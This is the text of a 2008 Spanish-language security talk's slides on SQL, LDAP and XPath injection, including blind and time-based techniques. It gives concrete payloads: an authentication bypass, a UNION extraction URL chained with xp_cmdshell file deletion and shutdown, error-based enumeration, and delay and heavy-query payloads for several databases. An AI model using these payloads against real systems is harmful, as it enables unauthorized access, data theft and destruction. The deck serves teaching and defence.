sqlinjection
DESCRIPTION
Charla de Ch en la ESTTRANSCRIPT
12/04/2008
1
►SQL Injection
►LDAP Injection
►Xpath Injection
►…Y a ciegas…
►Blind SQL Injection
►Blind LDAP Injection
►Blind XPAth Injection
12/04/2008
2
►Aplicaciones con mala comprobación de datos de entrada.
� Datos de usuario.
�Formularios
oText
oPassword
oTextarea
oList
omultilist
� Datos de llamadas a procedimientos.
�Links
�Funciones Scripts
�Actions
►Datos de usuario utilizados en consultas a base de datos.
►Mala construcción de consultas a bases de datos.
►Permiten al atacante:
�Saltar restricciones de acceso.
�Elevación de privilegios.
�Extracción de información de la Base de Datos
�Parada de SGBDR.
�Ejecución de comandos en contexto usuario bd dentro del servidor.
12/04/2008
3
►Ejemplo 1:
�Autenticación de usuario contra base de datos.
Select idusuario from tabla_usuarios
Where nombre_usuario=‘$usuario’
And clave=‘$clave’;
Usuario
Clave ****************************************************************
►Ejemplo 1 (cont)
Select idusuario from tabla_usuarios
Where nombre_usuario=‘Administrador’
And clave=‘’ or ‘1’=‘1’;
Usuario
Clave
Administrador
‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1
12/04/2008
4
►Ejemplo 2:
�Acceso a información con procedimientos de listado.
http://www.miweb.com/prog.asp?parametro1=hola
Ó
http://www.miweb.com/prog.asp?parametro1=1
►Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --
Ó
http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --
12/04/2008
5
►Escrita por Francisco Amato
►Obtener la estructura y datos completa de la BBDD.
�1 Injección para la estructura
�1 post para cada fila
�Totalmente automática
►Soporta “n” bases de datos.
►Descargable (app y source)
�http://www.infobyte.com.ar
►Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)
►Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value'sys' to data type int. /Programa.asp, line 8
►Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc)
12/04/2008
6
12/04/2008
7
12/04/2008
8
►La aplicación Web no muestra ningún mensaje de error.
►La aplicación no procesa nuestros comandos
�Select titulo from tabla where param=$param
►Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo:
�http://server/miphp.php?id=1 and 1=1
�http://server/miphp.php?id=1 and 1=2
►¿Como reconocer un falso?
�Da un código de error
�Da una página de error
�Cambia el hash de la firma
�Cambia el árbol html
�Tarda más en responder
►Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas:
�http://server/miphp.php?id=1 and 300>(selectascii(substring(username,1,1) from all_users where rownum<=1)
12/04/2008
9
12/04/2008
10
12/04/2008
11
►Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor
�Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar
�Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual
►Podemos utilizar las mismas técnicas de inyección descritas anteriormente
21
►¿Cómo podemos conseguir el retardo?
�Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos
�SQL Server: waitfor delay
�Oracle: dbms_lock.sleep
�MySQL: sleep
�Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria)
�CROSS JOIN que involucren muchas tablas
�De cualquier otra forma (ej: xp_cmdshell 'ping…')
22
12/04/2008
12
►Instrucciones de retardo del propio SGBD
�Microsoft SQL Server
�; if (exists(select * from contrasena)) waitfor delay '0:0:5'
�Oracle
�; begin if (condicion) then dbms_lock.sleep(5); end if; end;
�MySQL (versión 5)
�and exists(select * from contrasena) and sleep(5)
�and exists(select * from contrasena) and benchmark(5000000,md5(rand()))=0
�Microsoft Access no tiene instrucciones de retardo
23
12/04/2008
13
http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html
►Consultas pesadas
�La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN
�Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas
JoinsJoins FilasFilas ColumnasColumnas
1 4 2
2 16 4
3 64 6
4 256 8
5 1024 10
12/04/2008
14
►Consultas pesadas: estructura
�SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn
�Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible
�Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsultaSQL antes o después del operador lógico
�AND subconsulta AND consulta_pesada
�AND consulta_pesada AND subconsulta
�http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx
27
►Consultas pesadas: tablas recomendadas
�Microsoft SQL Server
�sysusers
�Oracle
�all_users
�MySQL (versión 5)
�information_schema.columns
�Microsoft Access
�MSysAccessObjects (versiones 97 y 2000)
�MSysAccessStorage (versiones 2003 y 2007)
28
12/04/2008
15
Verdad: La consulta dura 6 segundos.
Falso: La consulta dura 1 segundo.
12/04/2008
16
►7.- Autenticación Rota y Gestión de Sesión
�Partes sin comprobar autenticación
�No procesos de logout seguro.
►8.- Almacenamiento con Criptografía insegura
�Datos sin cifrar o mal cifrados
►9.- Comunicaciones Inseguras
►10.-URLs mal restringidas
�Pueden ser adivinadas o “bruteforceadas”
12/04/2008
17
►Chema Alonso
►http://elladodelmal.blogspot.com
►http://www.informatica64.com
November 2006 34
Technews I64. Suscríbete Gratis en
http://www.informatica64.com/boletines
12/04/2008
18
Blind SQL Injection
http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-blind.html
Time-Bases Blind SQL Injection with heavy Queries
http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx
LDAP Injection & Blind LDAP Injection
http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-injection_9021.html
XPath injection in XML databases
http://palisade.plynt.com/issues/2005Jul/xpath-injection/
Blind XPath Injection
http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf
► Milw0rm (Webapps exploits)
http://milw0rm.com/webapps.php